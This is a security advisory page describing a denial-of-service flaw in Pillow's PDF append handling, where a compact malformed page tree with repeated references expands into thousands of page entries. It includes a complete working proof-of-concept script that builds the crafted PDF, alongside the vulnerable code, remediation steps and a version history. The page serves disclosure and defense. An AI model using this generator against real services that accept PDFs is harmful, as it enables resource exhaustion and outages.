High

Pillow PDF append accepts malformed shared page-tree DAG causing resource exhaustion

  • Disclosed: 22.10.2026
  • Updated: 29.10.2026 12:17

The source advisory has changed since this explanation was prepared. Check the current technical data and original advisory below.

Summary

Pillow's documented PDF append path can spend disproportionate CPU time on a compact malformed PDF page tree.

An attacker who can supply an existing PDF to an application that appends an image with Image.save(..., format="PDF", append=True) can provide a malformed /Pages tree where each level repeats the same child /Pages reference in /Kids. Pillow treats the graph as a tree and expands each repeated reference in PdfParser.linearize_page_tree() without tracking visited or duplicate indirect references.

In the bounded proof below, a 1410-byte PDF expands to 8192 page references from one distinct page object and takes about 9.6 seconds through the append path. A comparable linear control with the same depth stays at one page reference and completes in about 0.02 seconds.

This is in scope for Pillow's security policy because it is reproducible in main, affects the latest public release tested (12.3.0), and is not just an unexpected Python exception. The vulnerable operation accepts attacker-controlled PDF bytes through Pillow's PDF parser and causes deterministic resource consumption before normal completion.

Details

Affected versions

  • Package: Pillow
  • Ecosystem: pip / PyPI
  • Affected component: src/PIL/PdfParser.py page-tree traversal reached from src/PIL/PdfImagePlugin.py PDF append handling
  • Runtime-tested affected release: 12.3.0
  • Runtime-tested affected development version: 13.0.0.dev0
  • Tested commit: b39b9649312fbc381060e8c7c7f9f0de4cc63daa
  • Current source artifact hash: sha256(git archive --format=tar HEAD) = 2ccefca23d432456765be8d3c34564c65ba016b0c9da1e44ca389762f7eda054
  • Release 12.3.0 commit: bb1d8e8ab8d29048624d96e3ee53cecf7c13d13d
  • Release 12.3.0 source artifact hash: sha256(git archive --format=tar 12.3.0) = 94bed33fd20123938dbc0153d295250bb4e3c09251b6d4a34f7595e25d409c81
  • Source-level affected: 5.1.0, 12.2.0, 12.3.0, and HEAD
  • Likely affected range: >= 5.1.0
  • Patched versions: none known

Evidence fact strings:

  • Runtime-tested affected: 12.3.0
  • Runtime-tested affected: 13.0.0.dev0 at b39b9649312fbc381060e8c7c7f9f0de4cc63daa
  • Source-level affected: 5.1.0
  • Source-level affected: 12.2.0
  • Source-level affected: HEAD
  • Likely affected range: >= 5.1.0, no fixed version known
  • Pre-boundary note: 5.0.0 has PdfImagePlugin.py but no src/PIL/PdfParser.py

5.0.0 contains src/PIL/PdfImagePlugin.py but does not contain src/PIL/PdfParser.py. PdfParser.py was introduced by 6207b44ab1ff4a91d8ddc7579619876d0bb191a4 (2018-01-18 issue #2959: support appending to existing PDFs), which shipped in 5.1.0.

Technical details

The reachable path is:

  1. A service or application receives an attacker-influenced existing PDF and appends an image using Pillow's public PDF save path:

    python
    Image.new("L", (1, 1), 0).save(existing_pdf_file, format="PDF", append=True)
  2. src/PIL/PdfImagePlugin.py routes append=True to PdfParser:

    python
    is_appending = im.encoderinfo.get("append", False)
    filename_str = filename.decode() if isinstance(filename, bytes) else filename
    if is_appending:
        existing_pdf = PdfParser.PdfParser(f=fp, filename=filename_str, mode="r+b")
    else:
        existing_pdf = PdfParser.PdfParser(f=fp, filename=filename_str, mode="w+b")
  3. src/PIL/PdfParser.py parses the existing PDF and linearizes the page tree:

    python
    self.page_tree_root = self.read_indirect(self.pages_ref)
    self.pages = self.linearize_page_tree(self.page_tree_root)
    self.orig_pages = self.pages[:]
  4. linearize_page_tree() recursively follows every /Kids entry and extends the page list. It does not track page-tree node identity, duplicate references, or active traversal references:

    python
    def linearize_page_tree(
        self, node: PdfDict | None = None
    ) -> list[IndirectReference]:
        page_node = node if node is not None else self.page_tree_root
        check_format_condition(
            page_node[b"Type"] == b"Pages", "/Type of page tree node is not /Pages"
        )
        pages = []
        for kid in page_node[b"Kids"]:
            kid_object = self.read_indirect(kid)
            if kid_object[b"Type"] == b"Page":
                pages.append(kid)
            else:
                pages.extend(self.linearize_page_tree(node=kid_object))
        return pages
  5. During append, rewrite_pages() then iterates the expanded orig_pages list and scans/replaces entries in self.pages, adding more cost to the already expanded duplicate-reference list.

The missing invariant is:

The PDF page tree should be treated as an acyclic tree of unique indirect references before Pillow builds pages/orig_pages or rewrites pages.

The proof intentionally uses a malformed PDF page-tree DAG: each /Pages node repeats the same next /Pages child reference twice. Pillow accepts this graph and expands it as if the repeated reference represented distinct subtrees.

PoC

Environment used for validation:

  • OS/runtime: Linux, Python 3.13.11
  • Current tested build: Pillow 13.0.0.dev0, commit b39b9649312fbc381060e8c7c7f9f0de4cc63daa
  • Latest release tested: Pillow 12.3.0
  • The proof uses only synthetic in-memory PDFs and does not contact the network.

Save this as poc_pillow_pdf_page_tree_dag.py:

python
#!/usr/bin/env python3
from __future__ import annotations

import io
import json
import sys
import time

from PIL import Image, PdfParser
import PIL


def make_page_tree_pdf(depth: int, fanout: int) -> bytes:
    if fanout not in (1, 2):
        raise ValueError("fanout must be 1 or 2")

    objects: list[bytes] = [b"<< /Type /Catalog /Pages 2 0 R >>"]
    for object_id in range(2, depth + 3):
        next_id = object_id + 1
        kids = b" ".join(f"{next_id} 0 R".encode("ascii") for _ in range(fanout))
        parent = b"" if object_id == 2 else f" /Parent {object_id - 1} 0 R".encode()
        objects.append(b"<< /Type /Pages /Kids [ " + kids + b" ]" + parent + b" >>")
    objects.append(f"<< /Type /Page /Parent {depth + 2} 0 R >>".encode("ascii"))

    result = bytearray(b"%PDF-1.4\n")
    offsets = [0]
    for object_id, value in enumerate(objects, start=1):
        offsets.append(len(result))
        result.extend(f"{object_id} 0 obj\n".encode("ascii"))
        result.extend(value)
        result.extend(b"\nendobj\n")

    xref_offset = len(result)
    result.extend(f"xref\n0 {len(objects) + 1}\n".encode("ascii"))
    result.extend(b"0000000000 65535 f \n")
    for offset in offsets[1:]:
        result.extend(f"{offset:010d} 00000 n \n".encode("ascii"))
    result.extend(
        f"trailer\n<< /Size {len(objects) + 1} /Root 1 0 R >>\n"
        f"startxref\n{xref_offset}\n%%EOF\n".encode("ascii")
    )
    return bytes(result)


def run_case(depth: int, fanout: int) -> dict[str, object]:
    payload = make_page_tree_pdf(depth, fanout)
    expected_refs = fanout ** (depth + 1)

    start = time.monotonic()
    with PdfParser.PdfParser(buf=payload) as pdf:
        observed_refs = len(pdf.pages)
        distinct_refs = len(set(pdf.pages))
    parse_seconds = time.monotonic() - start

    output = io.BytesIO(payload)
    start = time.monotonic()
    Image.new("L", (1, 1), 0).save(output, format="PDF", append=True)
    append_seconds = time.monotonic() - start

    return {
        "fanout": fanout,
        "depth": depth,
        "input_bytes": len(payload),
        "expected_refs": expected_refs,
        "observed_refs": observed_refs,
        "distinct_refs": distinct_refs,
        "parse_seconds": round(parse_seconds, 6),
        "append_seconds": round(append_seconds, 6),
        "output_bytes_after_append": len(output.getvalue()),
    }


def main() -> int:
    depth = int(sys.argv[1]) if len(sys.argv) > 1 else 12
    if not 0 <= depth <= 16:
        raise SystemExit("depth must be between 0 and 16")

    linear = run_case(depth, fanout=1)
    shared_dag = run_case(depth, fanout=2)

    checks = {
        "linear_control_stays_one_page": linear["observed_refs"] == 1,
        "candidate_expands_to_expected_duplicate_refs": shared_dag["observed_refs"]
        == shared_dag["expected_refs"],
        "candidate_has_one_distinct_page_ref": shared_dag["distinct_refs"] == 1,
        "candidate_input_is_compact": shared_dag["input_bytes"] <= 2048,
        "append_path_processed_both_inputs": linear["output_bytes_after_append"]
        > linear["input_bytes"]
        and shared_dag["output_bytes_after_append"] > shared_dag["input_bytes"],
    }
    result = {
        "pillow_version": PIL.__version__,
        "pillow_file": PIL.__file__,
        "depth": depth,
        "linear_control": linear,
        "shared_dag_candidate": shared_dag,
        "checks": checks,
        "overall_passed": all(checks.values()),
    }
    print(json.dumps(result, indent=2, sort_keys=True))
    return 0 if result["overall_passed"] else 1


if __name__ == "__main__":
    raise SystemExit(main())

Run:

bash
python3 poc_pillow_pdf_page_tree_dag.py

Expected result:

"overall_passed": true
"linear_control": observed_refs == 1
"shared_dag_candidate": input_bytes == 1410
"shared_dag_candidate": observed_refs == 8192
"shared_dag_candidate": distinct_refs == 1

Observed on current main / 13.0.0.dev0:

1410-byte input -> 8192 observed page refs -> 9.563007s append

Observed on Pillow 12.3.0:

Pillow 12.3.0: 1410-byte input -> 8192 observed page refs -> 9.670602s append

For comparison, the linear control in the same harness uses a comparable-depth page tree with fanout=1; it produces one page reference and completed append in about 0.016 to 0.028 seconds in my validation runs.

Impact

This is an availability issue in Pillow's PDF append handling. Applications are impacted if untrusted users can supply an existing PDF that the application later appends to, watermarks, or exports using Pillow's Image.save(..., format="PDF", append=True) route.

The demonstrated primitive is deterministic CPU/resource amplification from compact attacker-controlled PDF bytes. The proof does not demonstrate confidentiality impact, integrity impact, memory corruption, filesystem access, network access, or impact through ordinary Image.open().

Requires attacker-influenced existing PDF processed by Pillow's documented PDF append path; not ordinary Image.open().

This should not be treated as just an unexpected Python exception. In the tested affected builds, the malformed PDF is accepted and processed to normal completion after the expensive expansion.

Remediation

Reject duplicate and cyclic page-tree references before constructing self.pages and self.orig_pages.

One possible fix is to pass traversal state through linearize_page_tree():

  • Track active /Pages references to reject cycles.
  • Track seen page-tree and page indirect references to reject duplicate references.
  • Raise PdfFormatError when the page tree is not an acyclic tree of unique indirect references.

Suggested regression tests:

  • A small PDF whose /Kids array repeats the same child /Pages reference should raise PdfFormatError quickly when used through Image.save(..., format="PDF", append=True).
  • A normal nested linear page tree should continue to append successfully.

What to do

Upgrade to Pillow version 13.0.0 or later. Alternatively, implement mitigations to reject duplicate and cyclic page-tree references before constructing self.pages and self.orig_pages, such as tracking active /Pages references in linearize_page_tree() and raising PdfFormatError.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) pillow >= 5.1.0, < 13.0.0 13.0.0

References

CVSS score -
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Weakness (CWE)
CWE-400, CWE-407
Platform
Python (PyPI)
Package
pillow
Disclosed
22.10.2026
Updated
29.10.2026 12:17

Sources and licenses · Edited or translated by DockRay; source rights and applicable licenses are retained.

OSV / GitHub Advisory Database - GHSA-mrfp-p49p-3hf2 - CC BY 4.0

Vulnerability history: pillow

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (106) in the archive
Total entries
106
First → latest
04.2014 11.2026
Without a fix
0
Exploited in attacks
1

Severity breakdown

  • Critical 14
  • High 63
  • Medium 27
  • Low 1
  • Unrated 1

Disclosures per year

  1. 2017: 1
  2. 2018: 0
  3. 2019: 1
  4. 2020: 10
  5. 2021: 19
  6. 2022: 8
  7. 2023: 3
  8. 2024: 2
  9. 2025: 1
  10. 2026: 49

earlier: 12

Severity:
  1. Pillow PDF append accepts malformed shared page-tree DAG causing resource exhaustion this entry
    High CVE-2026-96640 >= 5.1.0, < 13.0.0 13.0.0
  2. Critical · 9.8 CVE-2026-96639 >= 11.0.0, < 13.0.0 13.0.0
  3. High CVE-2026-112892 >= 4.1.0, < 13.0.0 13.0.0
  4. High CVE-2026-112390 >= 7.2.0, < 13.0.0 13.0.0
  5. High CVE-2026-112893 >= 10.0.0, < 13.0.0 13.0.0
  6. Critical CVE-2026-112900 >= 2.6.0, < 13.0.0 13.0.0
  7. High · 7.5 CVE-2026-112405 >= 12.0.0, < 13.0.0 13.0.0
  8. Critical · 9.8 CVE-2026-112403 < 13.0.0 13.0.0
  9. High · 7.5 CVE-2026-112397 < 13.0.0 13.0.0
  10. High · 7.5 CVE-2026-59200 >= 5.1.0, < 12.3.0 12.3.0
  11. High CVE-2026-42311 >= 10.3.0, < 12.2.0 12.2.0
  12. High · 7.5 CVE-2026-40192 >= 10.3.0, < 12.2.0 12.2.0
  13. High CVE-2026-25990 >= 10.3.0, < 12.1.1 12.1.1
  14. High · 7.1 CVE-2025-48379 >= 11.2.0, < 11.3.0 11.3.0
  15. High · 6.7 CVE-2024-28219 < 10.3.0 10.3.0
  16. Critical · 8.1 CVE-2023-50447 < 10.2.0 10.2.0
  17. High · 8.8 Exploited in attacks CVE-2023-4863 < 10.0.1 10.0.1
  18. High · 7.5 CVE-2022-45199 >= 9.2.0, < 9.3.0 9.3.0
  19. High · 7.5 CVE-2022-30595 >= 9.1.0, < 9.1.1 9.1.1
  20. High · 9.1 CVE-2022-24303 < 9.0.1 9.0.1
  21. Critical · 9.8 CVE-2022-22817 < 9.0.1 9.0.1
  22. High · 7.5 CVE-2021-23437 >= 5.2.0, < 8.3.2 8.3.2
  23. Critical · 9.8 CVE-2021-34552 < 8.3.0 8.3.0
  24. High · 7.5 CVE-2021-28677 < 8.2.0 8.2.0
  25. High · 7.5 CVE-2021-28676 < 8.2.0 8.2.0
  26. High · 9.1 CVE-2021-25288 >= 2.4.0, < 8.2.0 8.2.0
  27. High · 9.1 CVE-2021-25287 >= 2.4.0, < 8.2.0 8.2.0
  28. High · 5.5 CVE-2021-28675 < 8.2.0 8.2.0
  29. High · 7.5 CVE-2021-25293 >= 4.3.0, < 8.1.1 8.1.1
  30. High · 7.5 CVE-2021-25291 < 8.2.0 8.2.0
  31. High · 7.5 CVE-2021-25290 < 8.1.1 8.1.1
  32. Critical · 9.8 CVE-2021-25289 < 8.1.1 8.1.1
  33. High · 7.5 CVE-2021-27923 < 8.1.2 8.1.2
  34. High · 7.5 CVE-2021-27922 < 8.1.2 8.1.2
  35. High · 7.5 CVE-2021-27921 < 8.1.2 8.1.2
  36. High · 8.8 CVE-2020-35654 < 8.1.0 8.1.0
  37. High · 7.1 CVE-2020-35653 < 8.1.0 8.1.0
  38. Critical · 8.1 CVE-2020-11538 < 7.1.0 7.1.0
  39. High · 5.5 CVE-2020-10994 < 7.1.0 7.1.0
Show more (17) Showing 60 of 77

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.